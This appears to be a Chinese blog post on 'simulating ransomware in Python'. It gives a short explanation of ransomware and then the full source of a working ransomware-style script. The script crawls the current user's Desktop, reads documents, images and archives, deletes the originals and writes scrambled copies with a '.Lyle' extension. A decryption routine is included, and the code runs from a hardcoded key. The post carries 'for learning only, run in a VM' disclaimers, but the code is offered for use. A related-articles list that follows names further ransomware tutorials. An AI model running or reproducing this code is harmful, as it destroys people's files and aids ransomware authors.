python模拟勒索病毒

勒索病毒原理

  • 【定义及传播】勒索病毒,是一种新型电脑病毒,主要以邮件、程序木马、网页挂马的形式进行传播。关于勒索病毒,最通俗易懂的理解就是,黑客通过攻击你的系统,把你的重要文件用一把锁锁住,然后威胁你“一手交钱一手交货”。
  • 【影响】该病毒性质恶劣、危害极大,一旦感染将给用户带来无法估量的损失。
  • 【密码学技术】这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到解密的私钥才有可能破解。
# -*- coding: utf-8 -*-
from os import listdir, remove
from os.path import isdir, isfile
from base64 import b64decode
from base64 import b64encode
from threading import Thread
from getpass import getuser
# 勒索病毒简单原理,仅供学习交流,禁止任何非法用途,否则后果自负
# 勒索病毒简单原理,仅供学习交流,禁止任何非法用途,否则后果自负
# 勒索病毒简单原理,仅供学习交流,禁止任何非法用途,否则后果自负
# 别在主机上跑,建议在虚拟机
# 别在主机上跑,建议在虚拟机
# 别在主机上跑,建议在虚拟机
# 定义一串密钥key = 'Lyle123456'
file_list = []
# 定义黑名单
black_list = ['png', 'lnk', 'docx', 'doc', 'xls', 'pdf', 'jpeg', 'txt', 'gif', 'md', 'exe', 'mp3', 'mp4', 'zip', 'rar','jpg']
write_list = ['lyle']# 获取这个目录下所有非系统文件
def get_file(dit_path: str, mode='encryption'):# 如果模式为加密,就获取所有普通文件,否则,获取所有被加密后的文件# 如果没有权限,忽略if mode == 'encryption':flag = black_listelif mode == 'decryption':flag = write_listelse:raise '请选择模式'try:# 获取到输入目录下的所有文件filelist = listdir(dit_path)for filename in filelist:index = filename.rfind('.')suffix = filename[index + 1:].lower()# 如果在黑名单中,就添加到数组if isfile(dit_path + filename) and (suffix in flag):jueduipath = dit_path + filenamefile_list.append(jueduipath)# 如果是目录,继续遍历elif isdir(dit_path + filename):get_file(dit_path + filename + '/',mode)except:passreturn# 对文件进行加密,先进行base64编码,再通过密钥进行加密
def encryption(old_list: list):for filename in old_list:with open(filename, "rb") as f:# 获取文件内容content = f.read()f.close()remove(filename)# 定义加密后的字符串encry_content = ''# 进行base64编码base_str = b64encode(content)for char in base_str.decode():index = 0encry_content += chr(ord(char) * ord(key[index]))index += 1if index == len(key) - 1:index = 0with open(f'{filename}.Lyle', "wb") as f:f.write(encry_content.encode())f.close()# 解密函数
def decryption(old_list: list):for filename in old_list:with open(filename, 'rb') as f:old_str = f.read()f.close()remove(filename)decry_content = ''# 解密for char in old_str.decode():index = 0decry_content += chr(ord(char) // ord(key[index]))index += 1if index == len(key) - 1:index = 0decry_content = b64decode(decry_content)old_name = filename.replace(filename[filename.rfind('.'):], '')# 保存数据with open(old_name, "wb") as f:f.write(decry_content)f.close()def run(ditname, mode='decryption'):# 获取加密文件为 decryption,获取普通文件为encryptionget_file(ditname, mode=mode)func = decryption if mode == 'decryption' else encryptionfor i in file_list:for q in range(0, len(file_list), 50):old_list = file_list[q:q + 50]Thread(target=func, args=(old_list,)).start()if __name__ == '__main__':try:# 对桌面所有文件进行加密run(ditname=f'C:/Users/{getuser()}/Desktop/', mode='encryption')except:pass

python模拟勒索病毒相关推荐

  1. 简单的病毒编程代码Python,利用python编写勒索病毒

    电脑紧急求助 你中毒了,建议你在DOS下杀毒,看看能不能启动,如果还是不能,恐怕你要从装系统了,可以联系我,跟你一起解决这个问题联系qq:201716下面是病毒简介"AdobeR" ...

  2. 用python制作勒索病毒_用c写一个小勒索病毒(用B站来学习)

    前言: 这里是根据B站上的一个视频,看着教学写的,一下是我对代码的分块解析记录,方便想入门写病毒和反病毒小工具的人学习. 准备 vc++2013 b站学习视频 新建项目 我就是一开始新建项目都不清楚, ...

  3. Python实现简单的勒索病毒

    python实现勒索病毒 勒索病毒一种:将文件以base64字符串形式读取,然后对字符串进行加密(加密方式任取 只要可以解密即可) 问题:怎么在目标主机运行勒索病毒? 首先可以理由文件上传.远程代码执 ...

  4. Python实现简易勒索病毒

    一.勒索病毒 简单来说,勒索病毒就是通过加密受害者电脑的本地数据,向受害者勒索赎金的恶意软件.加密勒索软件的核心是加密算法,我自己实现的勒索病毒使用的就是安全度高破解难度大的RSA加密算法.RSA是一 ...

  5. Python 技术篇-解决转化后的exe程序被360误杀问题实例演示,python生成的exe被360识别为勒索病毒原因及解决方法

    我用 python 做了两个功能相似的程序,A 程序没问题,B 程序有问题,被 360 误杀,对比后发现 B 程序引用了 os 库,替换成了别的库实现 os 库的功能,新的程序不再有问题.罪魁祸首就是 ...

  6. python 勒索病毒 源码_python生成的exe被360识别为勒索病毒原因及解决方法

    代码如下,使用了 os 库遍历文件夹,还有判断指定路径是文件还是文件夹.换成了 pathlib 库来实现我需要的功能,问题解决. import os def adjust_os(path): ''' ...

  7. 新冠病毒爆发如何预防?用Python模拟病毒应对策略(附代码)

    2019年末,在中国武汉爆发的冠状病毒疫情冲击了整个金融市场和实体经济.这座总人口超过千万,春运期间流动人口超过500万的巨型城市的灾难在世界各地引发了一连串蝴蝶效应,也在全球普通民众中引发恐慌. 武 ...

  8. [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了Vulnhub靶机渗透的DC-1题目,通过信息收集.CMS漏洞搜索.D ...

  9. 哈佛博士主导的一桩勒索病毒离奇历史

    [CSDN 编者按]近来随着勒索恶意软件的不断迭代,黑客的手段变得越来越无懈可击.事实上,第一个勒索软件病毒的出现比电子邮件.甚至我们所知道的互联网还要早.计算机一直都不是可以信赖的机器,错误的点击. ...

最新文章

  1. 对WEB前端的几段思考(一)——界面设计和性能优化(整理中)
  2. 【转】一个Java程序员应该掌握的10项技能
  3. eeglab中文教程系列(6)-数据叠加平均{1}(Data averaging)
  4. maven中servlet报错:不识别此servlet问题的解决办法
  5. ORACLE not available如何解决
  6. 图解《个人信息保护法》及55条改动对比
  7. javascript 中的call和apply
  8. oracle 如何 更改 ref cursor 结果集,oracle – 如何从anther调用一个存储过程并修改返回的refcursor?...
  9. echarts实现双Y轴之散点和折线图
  10. FreeEIM 2.0 beta 发布
  11. 医药计算机人员试题及答案,医药计算机应用试题.doc
  12. 简单粗暴地理解js原型链--js面向对象编程
  13. 随想录(三言两语app)
  14. 用SQL语句实现:当A列大于B列时选择A列否则选择B列,当B列大于C列时选择B列否则选择C列。...
  15. linux中jdk添加字体_LINUX下JDK安装字体
  16. Google 开源机器学习数据集可视化工具 Facets
  17. LaTex写实验报告
  18. 我所钟爱的电影之一-文艺片
  19. Android常用工具类...
  20. Luogu P3717 [AHOI2017初中组]cover

热门文章

  1. MATLAB读取数据文件
  2. 计算机控制系统生产现场应用,浅析计算机控制系统在工业现场生产中的应用.doc...
  3. 03虚幻4 场景中的基础光源和视觉效果
  4. python实现键盘自动输入_人生苦短我用Python——模拟鼠标点击和键盘输入的操作...
  5. oracle 人民币符号,人民币的符号的正确表示法?一杠?两杠?
  6. django中的models的常用字段及属性
  7. 使用二维码识别技术的好处_二维码门禁你知道支持多少种识别方式
  8. C# LeetCode刷题 - Leetcode 306. 累加数 - 题解
  9. 使用pano2vr创建全景图
  10. 企业内部控制管理与全面风险管理体系建设知识问答